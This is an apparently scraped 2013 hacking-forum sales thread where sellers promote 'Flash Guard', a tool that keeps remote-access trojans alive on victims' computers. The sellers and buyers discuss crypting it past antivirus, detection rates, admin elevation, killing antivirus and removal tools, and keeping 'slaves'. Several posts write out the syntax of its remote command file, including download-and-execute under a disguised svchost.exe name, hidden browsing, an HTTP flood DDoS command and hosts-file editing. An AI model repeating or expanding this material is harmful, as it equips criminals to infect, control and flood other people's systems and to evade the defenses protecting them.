(Aug 12, 2013 08:58 AM)jontaon Wrote: [\[CITE\]](#) Whats the current status of detection for Flash Guard bin? "KFC" ASAP need to find way to update FG (detection) or keep FUD for long time duration. Otherwise users doesn't know FG running or got busted by AV.Well, if it isn't fud just crypt it after you use flash guard?

KFC Watermelon - August 12, 2013, 11:43 am

Next update:

-Remote control Flash Guard over HTTP. It'll be like a HTTP Bot in a sense, you can send remotely have Flash Guard Download and Execute new files by editing a text document on your website, Dropbox, etc.

Ex: edit a file on your dropbox to "dl <http://site.com/file.exe> svchost.exe "Host Process for Windows Services". - Flash Guard will download the file (and protect the file), save it as svchost.exe, run it (and protect the process), and finally add it to startup with startup info "Host Process for Windows Services"

- Improved Infection Rates, fixed some issues with admin elevation
- A bit improved File persistence

Six Below - August 12, 2013, 12:33 pm

(Aug 12, 2013 08:58 AM)jontaon Wrote: [\[CITE\]](#) Whats the current status of detection for Flash Guard bin? "KFC" ASAP need to find way to update FG (detection) or keep FUD for long time duration. Otherwise users doesn't know FG running or got busted by AV.

Last I checked about 36 hours ago, it was 3/35. However, you have the ability to crypt the Flash Guarded bin.

Gage8910 - August 12, 2013, 12:51 pm

(Aug 12, 2013 12:33 PM)Six Below Wrote: [\[CITE\]](#) Last I checked about 36 hours ago, it was 3/35. However, you have the ability to crypt the Flash Guarded bin.Also, can I crypt this with a .net crypter?

(Aug 12, 2013 12:33 PM)Six Below Wrote: [\[CITE\]](#) Last I checked about 36 hours ago, it was 3/35. However, you have the ability to crypt the Flash Guarded bin.Also, can I crypt this with a .net crypter?

KFC Watermelon - August 12, 2013, 12:55 pm

(Aug 12, 2013 12:51 PM)Gage8910 Wrote: [\[CITE\]](#) Also, can I crypt this with a .net crypter?

Also, can I crypt this with a .net crypter?

Yes, in fact most native crypters do not work with managed files such as Flash Guard.

Gage8910 - August 12, 2013, 1:12 pm

(Aug 12, 2013 12:55 PM)KFC Watermelon Wrote: [\[CITE\]](#) Yes, in fact most native crypters do not work with managed files such as Flash Guard.What all can it kill, Because I may be a serious buyer.

KFC Watermelon - August 12, 2013, 1:17 pm

I'm working on the "HTTP Bot" add on, it lets you send commands to Flash Guard by editing a simple file.

The commands that it'll have:

- Download and Execute a file, add it to startup and protect it
- Visit a website (visible and hidden, hidden is stealthy but looks like a real viewer)
- Attack a website (HTTP GET Layer 7 DDOS) - Takes down most sites without a problem, can take down CF-Protected sites.
- HOST File Editor
- Turn HaVoc on or off. Can be used with D&E command.
- Kill (Terminates Flash Guard)

Any more? Won't be annoying any more DDOS.

(Aug 12, 2013 01:12 PM)Gage8910 Wrote: [\[CITE\]](#) What all can it kill, Because I may be a serious buyer.

Flash Guard should be able to wipe out anything that doesn't have a rootkit.

Basically all RATs/BC Miners/Host Booters/All IRC Bots here.

It can also take out zeus, citadel, smoke, andro. At least the ones I've got my hands on.

Six Below - August 12, 2013, 2:18 pm

Exciting updates coming soon. Working it out with "KFC Watermelon" now. Online answering any questions if needed. Thanks.

KFC Watermelon - August 12, 2013, 4:21 pm

Update 1.2 - Beta Testing Bypassed - Doing Final Testing and then Release!

Changelog:

- HTTP Commands, built-in HTTP Bot to get remote commands
- Improved Infection Rate
- Modified File Persistence to increase persistence
- Modified Registry Key, confusing users and bot killers that search reg keys for file location

HTTP Commands:

Control computers running your Flash Bot using an online, remote text document. Simply edit the text document, Flash Guard will get the latest command.

Commands:

- Download and Execute a file, add it to startup and protect it
- Visit a website (visible and hidden, hidden is stealthy but looks like a real user)
- Attack a website (RAPID HTTP GET Layer 7 DDOS) - Takes down most sites without a problem.
- HOST File Editor
- Turn HaVoc on or off. Can be used with D&E command.
- Kill (Terminates Flash Guard)

Six Below - August 12, 2013, 4:39 pm

(Aug 12, 2013 04:21 PM)KFC Watermelon Wrote: [\[CITE\]](#) Update 1.2 - Beta Testing Bypassed - Doing Final Testing and then Release!

Changelog:

- HTTP Commands, built-in HTTP Bot to get remote commands
- Improved Infection Rate
- Modified File Persistence to increase persistence
- Modified Registry Key, confusing users and bot killers that search reg keys for file location

HTTP Commands:

Control computers running your Flash Bot using an online, remote text document. Simply edit the text document, Flash Guard will get the latest command.

Commands:

- Download and Execute a file, add it to startup and protect it
- Visit a website (visible and hidden, hidden is stealthy but looks like a real user)
- Attack a website (RAPID HTTP GET Layer 7 DDOS) - Takes down most sites without a problem.
- HOST File Editor
- Turn HaVoc on or off. Can be used with D&E command.
- Kill (Terminates Flash Guard)

Cannot wait to send this update out! Really quite a major update.

KFC Watermelon - August 12, 2013, 5:24 pm

What an excellent time for my internet to go shit and power to go out. Haha. I'll have that update ready soon enough.

?illain - August 12, 2013, 6:36 pm

Does flash guard itself have to be crypted? If so how would this work?

Quote:The advantage of this, for example: Let's say your old file is detected, and deleted by the users antivirus software. Simple update the file on the link, and Flash Guard will automatically download and run your new file.

KFC Watermelon - August 12, 2013, 7:09 pm

(Aug 12, 2013 06:36 PM)+Villain Wrote: [\[CITE\]](#) Does flash guard itself have to be crypted? If so how would this work?

Flash Guard can be crypted by any crypter that supports managed executables.

Six Below - August 12, 2013, 7:18 pm

(Aug 12, 2013 06:36 PM)+Villain Wrote: [\[CITE\]](#) Does flash guard itself have to be crypted? If so how would this work?

Just updated the main thread to answer your question with the information below. Thank you.

Quote:Flash Guard can be crypted by any crypter that supports both managed files and EOF. The majority of crypters sold on HF have these supported options. (Ask your crypting provider if needed). We recommend you crypt your stub both before and after it has been Flash Guarded. The current Flash Guarded stub detection rate is 3/35. Do not expect this to be fixed anytime soon. We are NOT to be used as a crypter.

Always disable Start-Up when creating your stub if you plan to use with Flash Guard. Flash Guard will add it's own advanced Start-Up feature.

What Crypters Support Flash Guard?: We don't know and we won't be testing. However, any crypter that supports managed files and EOF should work. Therefore, PM the crypter author and ask them if they support this before purchasing a crypter.

KFC Watermelon - August 12, 2013, 8:31 pm

Update is out now. Users should receive it automatically.

If any user needs help with the new features please feel free to ask here.

jontaon - August 12, 2013, 8:54 pm

(Aug 12, 2013 04:21 PM)KFC Watermelon Wrote: [\[CITE\]](#) Update 1.2 - Beta Testing Bypassed - Doing Final Testing and then Release!

Changelog:

- HTTP Commands, built-in HTTP Bot to get remote commands
- Improved Infection Rate
- Modified File Persistence to increase persistence
- Modified Registry Key, confusing users and bot killers that search reg keys for file location

HTTP Commands:

Control computers running your Flash Bot using an online, remote text document. Simply edit the text document, Flash Guard will get the latest command.

Commands:

- Download and Execute a file, add it to startup and protect it
- Visit a website (visible and hidden, hidden is stealthy but looks like a real user)
- Attack a website (RAPID HTTP GET Layer 7 DDOS) - Takes down most sites without a problem.
- HOST File Editor
- Turn HaVoc on or off. Can be used with D&E command.

-Kill (Terminates Flash Guard)

You are man "KFC". Finally we got something more valuable. Will buy now. If there are any things to be develop, will give you more suggestions. Cheers..

Six Below - August 12, 2013, 9:30 pm

(Aug 12, 2013 08:54 PM)jontaon Wrote: [\[CITE\]](#) You are man "KFC". Finally we got something more valuable. Will buy now. If there are any things to be develop, will give you more suggestions. Cheers..

"KFC Watermelon" is the man, I have never had the pleasure of working with someone so well spoken, dedicated, and intelligent. Very nice work on the most recent update. Thanks from me, and all the customers!

KFC Watermelon - August 12, 2013, 9:31 pm

Because people are asking about the HTTP Bot/Commands:

It's a simple tool that allows you to remotely control your Flash Bot.

To use it, you're going to want to enable it, obviously.

The URL must be a direct link to a text document that you can edit. You can simply create a .txt in your dropbox and throw the public link in. That will work perfectly fine. Or use some hosting. That's fine too.

To send a command, simply edit the text document. Here are the commands:
download DIRECTURL FILENAME -s "Startup Info"

The -s "Startup info" is only if you want the file to be added to startup. The URL MUST be a direct link and the filename must not had been used before. The filename must have an extension, ex: svchost.exe

You can also add "disablehavoc" to the end of download to disable havoc if you need.

Other commands:

disablehavoc (disables havoc)

enablehavoc ((re)enables havoc)

visit www.google.com (open website in default browser)

visit -h www.google.com (visit in hidden IE)

attack website.com time (don't add http:// on the site, it will be auto added, and the time is in seconds) - Layer 7 RAPID HTTP GET Flood

hosts "line to put in hosts" - Simply edits host file

kill (terminates Flash Guard)

Thank you

?nxy - August 12, 2013, 10:23 pm

This is legit, it's looking great. You have my vouch on this! Great thread designs too.

Six Below - August 12, 2013, 11:11 pm

(Aug 12, 2013 10:23 PM)inxy Wrote: [\[CITE\]](#) This is legit, it's looking great. You have my vouch on this! Great thread designs too.

Thanks buddy. Ha, we just re-did the thread design. Thank "KFC Watermelon" for the majority of it.

The actual thread GFX are still on the way...

alignment - August 12, 2013, 11:49 pm

Love the new update. Extremely usful! Nice job KFC & Six keep it up!

Six Below - August 13, 2013, 12:46 am

(Aug 12, 2013 11:49 PM)Special One Wrote: [\[CITE\]](#) Love the new update. Extremely usful! Nice job KFC & Six keep it up!

Thanks buddy glad you are enjoying. I am online now answering all questions if needed. Thank you!

jontaon - August 13, 2013, 1:48 am

Just now paid. But still there should some modification has to be done.

[] Flash Guard update feature

Ex: FG still has to be crypted. Lets say nod32 installed pc we have installed FG (along with crypted RAT). Until nod32 detect, FG will run. But its not for long time as AVs detection is very fast. Once FG got detected, all gone.

[] Flash Guard Status

@KFC appreciate your HTTP commands, but those are only for control FG. But I like your kill feature. There should be some http panel or something to verify HTTP commands execute successfully or whether FG status online, There is noway to find FG running or killed by AV. So we are touching blindly.

Main goal of this product is keep connection (files) "maximum longevity". To achieve the goal FG has to be ensure its running without affect by AV. So again we return to FG update (not only control,running with AV without get caught). I mean FG server update like we update RAT connection from the client.

Finally its going to very complicate as now this is going to be very advance HTTP bot. :)

Please consider my suggestions "KFC" and wish you all the best to make this better even more.

gspike4u - August 13, 2013, 1:54 am

seems nice product planning to buy this an watching this thread for updtas GLWS

Six Below - August 13, 2013, 2:05 am

(Aug 13, 2013 01:48 AM)jontaon Wrote: [\[CITE\]](#) Just now paid. But still there should some modification has to be done.

[] Flash Guard update feature

Ex: FG still has to be crypted. Lets say nod32 installed pc we have installed FG (along with crypted RAT). Until nod32 detect, FG will run. But its not for long time as AVs detection is very fast. Once FG got detected, all gone.

[] Flash Guard Status

@KFC appreciate your HTTP commands, but those are only for control FG. But I like your kill feature. There should be some http panel or something to verify HTTP commands execute

successfully or whether FG status online, There is noway to find FG running or killed by AV. So we are touching blindly.

Main goal of this product is keep connection (files) "maximum longevity". To achieve the goal FG has to be ensure its running without affect by AV. So again we return to FG update (not only control,running with AV without get caught). I mean FG server update like we update RAT connection from the client.

Finally its going to very complicate as now this is going to be very advance HTTP bot. :)

Please consider my suggestions "KFC" and wish you all the best to make this better even more. I will allow "KFC Watermelon" to elaborate in greater detail when he is back online. He may be off for the night, until then, I appreciate your input, and ask anyone with suggestions to please post them here and/or PM me personally. Just to clarify the Flash Guard currently allows the updating of a files if needed. IE: Updating your stub/re-FUDing it. We are working on a HTTP Bot with panel now that will be separate from Flash Guard, but utilize many of it's functions.

On a side note, I did not receive any order within the last 30 minutes. Did you order before then? Thank you again for your input.

jontaon - August 13, 2013, 2:09 am

Quote:On a side note, I did not receive any order within the last 30 minutes. Did you order before then? Thank you again for your input.

Its about 2 hours ago paid and downloaded stuff.?

Six Below - August 13, 2013, 3:04 am

(Aug 13, 2013 02:09 AM)jontaon Wrote: [\[CITE\]](#) Its about 2 hours ago paid and downloaded stuff.? Ah ok, that would make sense. I hope you enjoy.

KFC Watermelon - August 13, 2013, 11:01 am

Jonathan -

Thank you for your feedback. I will take it into consideration.

Please PM me if you need any help.

Thank you

Six Below - August 13, 2013, 2:25 pm

All PM's have been responded to. Online now answering any and all questions. Thank you!

KFC Watermelon - August 13, 2013, 4:10 pm

Does anyone have any suggestions for updates, bug fixes, etc?

Six Below - August 13, 2013, 5:36 pm

From all my PM's and chats with customers I have heard nothing but positives. Cannot wait till this project grows over time. Thanks again to all our customers and your feedback!

FiOS - August 13, 2013, 5:52 pm

Big vouch for this program. Sexy thread. Six Below is a legit member ALWAYS deal with him. Will probably buy this soon. GLWS mate <3

KFC Watermelon - August 13, 2013, 7:10 pm

Thank you for your feedback Kooza.

Have a great day.

chick3nman - August 13, 2013, 7:45 pm

Link to buy it seems to be dead. Site isnt loading for me.

Six Below - August 13, 2013, 8:16 pm

(Aug 13, 2013 07:45 PM)chick3nman Wrote: [\[CITE\]](#) Link to buy it seems to be dead. Site isnt loading for me.

Try again. I think netseal was having an error temporally. Happens sometimes. It is in working order now. Sorry for the issue.

chick3nman - August 13, 2013, 8:20 pm

(Aug 13, 2013 08:16 PM)Six Below Wrote: [\[CITE\]](#) Try again. I think netseal was having an error temporally. Happens sometimes. It is in working order now. Sorry for the issue.

Alright link works now. Thanks :) 35 characters

Six Below - August 13, 2013, 8:24 pm

(Aug 13, 2013 08:20 PM)chick3nman Wrote: [\[CITE\]](#) Alright link works now. Thanks :) 35 characters
Glad it is working now. Sorry about the issue before. Thanks for your order. Hope you enjoy!

KFC Watermelon - August 13, 2013, 9:24 pm

Chick3nman, let me know if you have any issues. Thanks.

Six Below - August 13, 2013, 10:43 pm

Online now answering questions if needed. Thanks.

jontaon - August 13, 2013, 11:15 pm

Dude I have PM'd you. Need quick help to setup. Please add me on skype or let me have your skype id. Thanks.

Six Below - August 13, 2013, 11:20 pm

(Aug 13, 2013 11:15 PM)jontaon Wrote: [\[CITE\]](#) Dude I have PM'd you. Need quick help to setup. Please add me on skype or let me have your skype id. Thanks.

I responded to your PM. I am on my cell currently, and will be back on my computer happy to assist you in initial setup once I get home. Thank you!

wieland - August 13, 2013, 11:58 pm

just bought this, looks good i will check it out now with an old andromeda.

regards

?nxy - August 14, 2013, 2:38 am

This program is really "killer" man. I FUCKING LOVE IT! Great botkiller. :)

Six Below - August 14, 2013, 3:32 am

(Aug 14, 2013 02:38 AM)inxy Wrote: [\[CITE\]](#) This program is really "killer" man. I FUCKING LOVE IT! Great botkiller. :)

Thanks for your kind words. Heading to bed now, but will be up and working in the morning. Have some very exciting new updates and products we are working on now. Thanks again everyone for yet another successful day.

Tastylicious - August 14, 2013, 5:37 am

Vouch Flash Guard!

Using this for quite a while, it's great ?

KFC Watermelon - August 14, 2013, 10:20 am

Thanks for the vouchers guys.

Angelic, I don't like the .NET section, I usually use stackoverflow

Alkapote - August 14, 2013, 10:35 am

vouch for Flash Guard !!

vouch for support!!

KFC Watermelon - August 14, 2013, 11:20 am

Thank you for your feedback darty, let me know if any problems occur.

Six Below - August 14, 2013, 1:11 pm

I am online answering any questions if needed. Thanks!

KFC Watermelon - August 14, 2013, 4:53 pm

Going to release a update soon

Changelog:

- Minor bug fixes

- Improved Startup Bot Killer

Six Below - August 15, 2013, 4:52 am

(Aug 14, 2013 04:53 PM)KFC Watermelon Wrote: [\[CITE\]](#) Going to release a update soon

Changelog:

- Minor bug fixes

- Improved Startup Bot Killer

Looking forward to this release. I didn't know the Bot Kill function on this tool could even get any stronger! Thanks yet again my friend "KFC Watermelon"!

alignment - August 15, 2013, 5:03 am

I endorse for this user and it's product. Glws

KFC Watermelon - August 15, 2013, 8:07 am

(Aug 15, 2013 04:52 AM)Six Below Wrote: [\[CITE\]](#) Looking forward to this release. I didn't know the Bot Kill function on this tool could even get any stronger! Thanks yet again my friend "KFC Watermelon"!

It's about finding malware to kill. That's what I'm improving.

Six Below - August 15, 2013, 4:03 pm

Happy to report a great first week. Very surprised by the turn out. Many new exciting features to come. Thanks everybody!

KFC Watermelon - August 15, 2013, 4:38 pm

Next update is going to feature injection, meaning you no longer will have to crypt the file Flash Guard downloads.

Six Below - August 15, 2013, 5:00 pm

On a side note, have some other exciting products hitting the marketplace very soon.

KFC Watermelon - August 15, 2013, 6:38 pm

(Aug 15, 2013 05:00 PM)Six Below Wrote: [\[CITE\]](#) On a side note, have some other exciting products hitting the marketplace very soon.

Looking forward to them. Hope the testing goes OK.

Moxxi - August 15, 2013, 8:09 pm

Cant wait to see what new stuff you got for us =)

Six Below - August 15, 2013, 10:36 pm

(Aug 15, 2013 08:09 PM)Ascendancy Wrote: [\[CITE\]](#) Cant wait to see what new stuff you got for us =)
Thanks for your kind words man. I am very exited too.

On a side note, we are hoping to send the new Flash Guard update out very soon. Thank you!

KFC Watermelon - August 16, 2013, 2:04 pm

New update should be out very soon. Just gone done with final stages of testing in all my VMs.

Six Below - August 16, 2013, 2:13 pm

The new updated (Version 1.3) was just sent out. This allows injection. IE: The injection only works on native files that are not managed.

Example: Uncrypted Dark Comet Stub > Flash Guard Protect Your File > Crypt Your Flash Guarded File

Also, a couple of minor bug fixes including start-up and persistence where tweaked. Thank you!

KFC Watermelon - August 16, 2013, 3:28 pm

Please PM me if there are any issues regarding the new issue, and I'll be glad to take a look; thank you.

Six Below - August 17, 2013, 2:46 am

Working on a small issue that occurred with this new update regarding crypting the final Flash Guarded stub. Please stand by for another update and further information. Sorry about this issue.

Rogerbot - August 17, 2013, 6:53 pm

(Aug 17, 2013 02:46 AM)Six Below Wrote: [\[CITE\]](#) Working on a small issue that occurred with this new update regarding crypting the final Flash Guarded stub. Please stand by for another update and further information. Sorry about this issue.

How would we be able to update FlashGuard stubs?

Also how would we add the protection settings and then use a crypter without corrupting the file?

Six Below - August 18, 2013, 4:08 am

(Aug 17, 2013 06:53 PM)am Jesus Wrote: [\[CITE\]](#) How would we be able to update FlashGuard stubs?

Also how would we add the protection settings and then use a crypter without corrupting the file? Updating is as simple as changing your Flash Guarded stub link within the application itself. Sites that allow updating of links such as Dropbox, or an FTP server would have to be used.

The crypting settings are being fixed now to allow an easier to crypt final stub. As mentioned in the thread, any crypter that provides, includes EOF and managed file should work fine.

Thank you!

Rogerbob - August 18, 2013, 4:31 am

(Aug 18, 2013 04:08 AM)Six Below Wrote: [\[CITE\]](#) Updating is as simple as changing your Flash Guarded stub link within the application itself. Sites that allow updating of links such as Dropbox, or an FTP server would have to be used.

The crypting settings are being fixed now to allow an easier to crypt final stub. As mentioned in the thread, any crypter that provides, includes EOF and managed file should work fine.

Thank you!

Would we add the startup settings to the crypter or the FlashGuard?

I'm using CryptME/ Rteh. :P

Six Below - August 18, 2013, 4:34 am

(Aug 18, 2013 04:31 AM)Googleplex Wrote: [\[CITE\]](#) Would we add the startup settings to the crypter or the FlashGuard?

I'm using CryptME/ Rteh. :P

You would have startup settings disabled on everything except Flash Guard. Thank you.

keviniscool - August 18, 2013, 2:51 pm

been using this as a customer since the day it was released yeah there have been a couple small bugs but they have been minor and they got fixed pretty fast, Six Below has been giving top quality support every step of the way and listening to my suggestions. The protections this product offers are work great, I bought installs off the forums and still have almost all of my slaves :)

Six Below - August 18, 2013, 8:09 pm

(Aug 18, 2013 02:51 PM)keviniscool Wrote: [\[CITE\]](#) been using this as a customer since the day it was released yeah there have been a couple small bugs but they have been minor and they got fixed pretty fast, Six Below has been giving top quality support every step of the way and listening to my suggestions. The protections this product offers are work great, I bought installs off the forums and still have almost all of my slaves :)

Thanks again for your purchase. Appreciate your kind words too!

Makabra666 - August 19, 2013, 4:02 am

Hello, its FUD or i need to use Crypter ?

Thanks and good luck with sales.

Six Below - August 19, 2013, 9:12 pm

Hey everyone, I am very sorry for my lack of communication. A family member of mine had to be rushed to the ER 24 hours ago, and I am now with him in ICU awaiting yet another surgery. I can't say for sure when I will be back and working at 100%, but I will try and hop online using the hospitals (weak) wifi when I can. Very sorry for these delays. Stay tuned/check thread for updates. MSG me via HF PM and I will get back to you ASAP. Thanks everyone for your support.

Until then, expect "KFC Watermelon" to provide the little support he can. Currently busy to at this time. Again, thank you everyone for understanding.

Side note: This will not effect the auto-buy in any way. All orders are 100% automated and will still work as if I was online.

jontaon - August 19, 2013, 9:41 pm

(Aug 19, 2013 04:02 AM)DJ_ASHBA Wrote: [\[CITE\]](#) Hello, its FUD or i need to use Crypter ?

Thanks and good luck with sales.

No its not FUD. You need to use a crypter to crypt FG out put. I hope @KFC will make more changes in near future. Waiting for some updates (REFUD FG remotely) to get in to real work. I'd really love this product and looking forward updates daily to see the improvements.

Six Below - August 20, 2013, 3:04 am

(Aug 19, 2013 09:41 PM)jontaon Wrote: [\[CITE\]](#) No its not FUD. You need to use a crypter to crypt FG out put. I hope @KFC will make more changes in near future. Waiting for some updates (REFUD FG remotely) to get in to real work. I'd really love this product and looking forward updates daily to see the improvements.

Thanks buddy for taking the time to answer his question. I can in fact confirm that "jontaon" is correct. We have the mentioned update basically done from what I know, however not being home it is next to impossible to release. Will try and head home tomorrow for many reasons and while there send out that update if ready. Sorry for the delay everyone. Also, I appreciate all the support.

jontaon - August 21, 2013, 9:23 am

Hope SB sort out his problems and will come back soon. I would suggest to make a video like how to setup and use it properly. Lot of guys has problem with how to use it as new updates made some changes. Likewise crypting FG and injection feature. BTW it doesn't show the version. @KFC mentioned about new updates. But my FG doesn't got any updates. So consider to mention version and log or news tab which shows updates history something like that. Cheers. ?

Six Below - August 21, 2013, 9:52 am

(Aug 21, 2013 09:23 AM)jontaon Wrote: [\[CITE\]](#) Hope SB sort out his problems and will come back soon. I would suggest to make a video like how to setup and use it properly. Lot of guys has problem with how to use it as new updates made some changes. Likewise crypting FG and injection feature. BTW it doesn't show the version. @KFC mentioned about new updates. But my FG doesn't got any updates. So consider to mention version and log or news tab which shows updates history something like that. Cheers. ?

Thank you very much for your kind words. I am still at the hospital, but now with my father back in a bit better shape, it is easier for me to pop online every now and than. As far as updates go, last I heard an update was basically done, however needed minor tweaking and testing. The crypting issues should be fixed with this update. As far as an update log goes, I highly doubt we will be able to do anything about this due to the fact that the updating of the file link is up to the user. The version can always be found in the "Update History Log" at the bottom of the original thread. Thank you, and stay tuned for further information.

Tastylicious - August 21, 2013, 11:13 pm

Six Below does an awesome job.

I'm a customer of a few Flash Products now and all I can say is: Awesome

Every program is working perfectly fine for me and ever better than advertised.

Flash Guard even protected my file from my own private BotKiller so I think I can really vouch for this!

Six Below - August 23, 2013, 2:11 am

(Aug 21, 2013 11:13 PM)Tastylicious Wrote: [\[CITE\]](#) Six Below does an awesome job.

I'm a customer of a few Flash Products now and all I can say is: Awesome

Every program is working perfectly fine for me and ever better than advertised.

Flash Guard even protected my file from my own private BotKiller so I think I can really vouch for this!

Thank you very much. Once I get home and settled I will get back to work with updates and

everything. Until then I can assure you, and everyone that all the products are working 100% now. "Tastylicious" thank you very much for your kind words!

Also, made a more visually attractive thread layout. The old ones colors were just nasty! Sorry "KFC Watermelon"! ?

On a side note, I am heading to bed now. I will be back up and on first thing in the morning ready to answer any and all questions. Thank you very much everyone!

iguard - August 23, 2013, 4:52 am

Got a couple of questions: How do we update FG to a new fud version?

Can there be multiple commands in the txt file on a new line each or does it only support one at a time?

Can we please have a full list of the HTTP commands?

Six Below - August 23, 2013, 10:58 am

(Aug 23, 2013 04:52 AM)iguard Wrote: [\[CITE\]](#) Got a couple of questions: How do we update FG to a new fud version?

Can there be multiple commands in the txt file on a new line each or does it only support one at a time?

Can we please have a full list of the HTTP commands?

The updating of your Flash Guarded file depends on the link you place/manage in the Flash Guard files section atop the application. To update your stub, you need to have a link that allows updating, such as dropbox, or an FTP server.

There can be multiple commands in the HTTP text document.

I will work with "KFC Watermelon" to try and get a PDF list uploaded to the main thread.

Thank you!

iguard - August 23, 2013, 11:15 am

(Aug 23, 2013 10:58 AM)Six Below Wrote: [\[CITE\]](#) The updating of your Flash Guarded file depends on the link you place/manage in the Flash Guard files section atop the application. To update your stub, you need to have a link that allows updating, such as dropbox, or an FTP server.

There can be multiple commends in the HTTP text document.

I will work with "KFC Watermelon" to try and get a PDF list uploaded to the main thread.

Thank you!

No I mean the flash guard bin not the file it protects

rfz777 - August 23, 2013, 12:07 pm

Nice product dude, I may purchase this soon. I'll send you a PM.

Six Below - August 23, 2013, 6:20 pm

(Aug 23, 2013 12:07 PM)outl4w Wrote: [\[CITE\]](#) Nice product dude, I may purchase this soon. I'll send you a PM.

Looking forward to it. Online now answering all questions, and responding to all PM's. I am back from the hospital and should soon get back in the groove of my regular scheduled.

Neotokyo - August 24, 2013, 12:49 pm

Wow I use this all the time now! Thanks again for the smooth transaction!

Six Below - August 24, 2013, 9:21 pm

(Aug 24, 2013 12:49 PM)Neotokyo Wrote: [\[CITE\]](#) Wow I use this all the time now! Thanks again for the smooth transaction!

Thank you very much.

Hoping to try and get an update out soon. Fix that crypting problem.

KFC Watermelon - August 24, 2013, 10:22 pm

New update coming

- Fixed Crypting Issue (use the built-in EOF Preserve tool)
- Improved Bot Killer Module (Startup and Process)
- Improved Process Persistence
- Improved AV Killer Module
- Improved Administrator Elevation
- Improved Registry Persistence
- Improved File Persistence

Six Below - August 25, 2013, 12:06 am

Flash Guard (Version 1.4) has been sent out. The crypting issues should be fixed.

As mentioned by "KFC Watermelon" previously, the updated features are below.

New update coming

- Fixed Crypting Issue (use the built-in EOF Preserve tool)
- Improved Bot Killer Module (Startup and Process)
- Improved Process Persistence
- Improved AV Killer Module
- Improved Administrator Elevation
- Improved Registry Persistence
- Improved File Persistence

alignment - August 25, 2013, 2:27 am

I just infected myself, my computer is paralyzed. Thank you so much SB haha xD

Great product, will spend the night to figure this out... ?

Six Below - August 25, 2013, 3:23 am

(Aug 25, 2013 02:27 AM)Proficiencies Wrote: [\[CITE\]](#) I just infected myself, my computer is paralyzed. Thank you so much SB haha xD

Great product, will spend the night to figure this out... ?

Thanks for the vouch. Sorry to have witness you accidentally opening your Flash Guarded file... We will work together tomorrow on trying to remove it. No promises. This thing was built to be persistent.

Tastylicious - August 25, 2013, 3:35 am

Just a little suggestion, how about a "remover"? Like a curing-tool that every customer gets, for the case that he infects himself ?

Six Below - August 25, 2013, 3:44 am

(Aug 25, 2013 03:35 AM)Tastylicious Wrote: [\[CITE\]](#) Just a little suggestion, how about a "remover"? Like a curing-tool that every customer gets, for the case that he infects himself ?

This has been mentioned before by other customers, however without speaking to "KFC Watermelon" about it I cannot give a definite answer on this issue. I am sure he will comment once

up. However, if you enable HTTP commands you can create a .kill command that should do a fairly good job at removing the Flash Guarded file most of the time. Just remember that command will effect all bots, not just a specific bot on your PC.

On a side note, I am heading to bed now but will be up pretty soon, answering all PM's and checking the thread. Thanks again everyone!

KFC Watermelon - August 25, 2013, 6:27 am

(Aug 25, 2013 03:35 AM)Tastylicious Wrote: [\[CITE\]](#) Just a little suggestion, how about a "remover"? Like a curing-tool that every customer gets, for the case that he infects himself ?

Run the kill command on HTTP Commands, and then rename the file, or reset its permissions and delete it.

Edit: just realized my kill command won't work because my persistence restarts it. If you need help removing it, PM me. Just try not to run it on yourself.

Six Below - August 25, 2013, 1:40 pm

Up and about. MSG me via PM and/or Skype if you need anything. Thank you! Hope everyone is enjoying the newest update!

KFC Watermelon - August 26, 2013, 11:00 am

Any crypter that supports managed assemblies should work fine.

Six Below - August 26, 2013, 9:28 pm

(Aug 26, 2013 11:00 AM)KFC Watermelon Wrote: [\[CITE\]](#) Any crypter that supports managed assemblies should work fine.

Thanks "KFC Watermelon" for that most recent update. It was definitely helpful!

keviniscool - August 28, 2013, 6:57 pm

(Aug 25, 2013 02:27 AM)alignment Wrote: [\[CITE\]](#) I just infected myself, my computer is paralyzed. Thank you so much SB haha xD

Great product, will spend the night to figure this out... ?

http://www.tweaking.com/content/page/windows_repair_all_in_one.html try this maybe it will help you get things reset. no promises but it has worked for me a bunch of times.

KFC Watermelon - August 28, 2013, 7:53 pm

Probably going to release a side update adding more Disablers and improving AV Killer a bit. It will completely stop malwarebytes, hijack this, superantispyware, and more from being installed or working.

(Aug 28, 2013 06:57 PM)keviniscool Wrote: [\[CITE\]](#)

http://www.tweaking.com/content/page/windows_repair_all_in_one.html try this maybe it will help you get things reset. no promises but it has worked for me a bunch of times.

If you run it on yourself, do not give it admin permissions.

You can find msconfig/regedit and other files it deletes online. If you need help restoring your antivirus, PM me.

Six Below`s Nemesis - August 28, 2013, 8:45 pm

This is what im looking for sending you a PM.

[RuN] - August 29, 2013, 4:47 am

Bought it, works great got my vouch

Six Below - August 29, 2013, 8:45 am

(Aug 29, 2013 04:47 AM)ENGL1SH Wrote: [\[CITE\]](#) Bought it, works great got my vouch
Thank you very much. All Flash Guard related PM's have been responded to. Will be AFK for about
12+ hours. Sorry for the delay this may cause.

KFC Watermelon - August 30, 2013, 9:11 am

Going to push a update today that will improve the AV killer. Should increase bot longevity. Before
it would cripple most, now its able to stop them from running.

Six Below`s Nemesis - August 30, 2013, 9:19 am

Does it work with legacylink? who do i PM KFC or the thread owner?

KFC Watermelon - August 30, 2013, 12:28 pm

(Aug 30, 2013 09:19 AM)Success! Wrote: [\[CITE\]](#) Does it work with legacylink? who do i PM KFC or
the thread owner?

As long as you can disable the installation with Legacy Link it will work fine.

?nxy - August 30, 2013, 1:24 pm

(Aug 30, 2013 12:28 PM)KFC Watermelon Wrote: [\[CITE\]](#) As long as you can disable the installation
with Legacy Link it will work fine.

That's good to know, there is no confusion for me now. ?

KFC Watermelon - August 30, 2013, 3:04 pm

(Aug 30, 2013 01:24 PM)inxy Wrote: [\[CITE\]](#) That's good to know, there is no confusion for me now. ?
Yeah, it works with anything that doesn't have "installation" of some sort. Make sure your file
doesn't copy to another folder or add to startup on its own and Flash Guard takes care of the rest.

Six Below - August 30, 2013, 7:14 pm

I am back home now and have responded to all Flash Guard related questions. Working on getting
all Skype MSG's responded to now. We have some exciting new updates in store for you. Working
on really expanding the Flash Factions line in the next coming months. Thanks everybody.

imposter johnson - August 30, 2013, 7:25 pm

Can you incorporate my suggestion on flashguard? I will need it soon. Ive already infected my slave
with my fud rat. I would like to run flash guard on my victims comp to protect my rat from being
uninstalled.

So basically, I dont want to bind anything to flashguard when I make it. I just want to tell it what
process to protect ahead of time. Once it hits the pc and sees my process, it protects it. Can you
make it protect like 3 different processes?

KFC Watermelon - August 30, 2013, 7:59 pm

(Aug 30, 2013 07:25 PM)Blastoise76 Wrote: [\[CITE\]](#) Can you incorporate my suggestion on
flashguard? I will need it soon. Ive already infected my slave with my fud rat. I would like to run flash
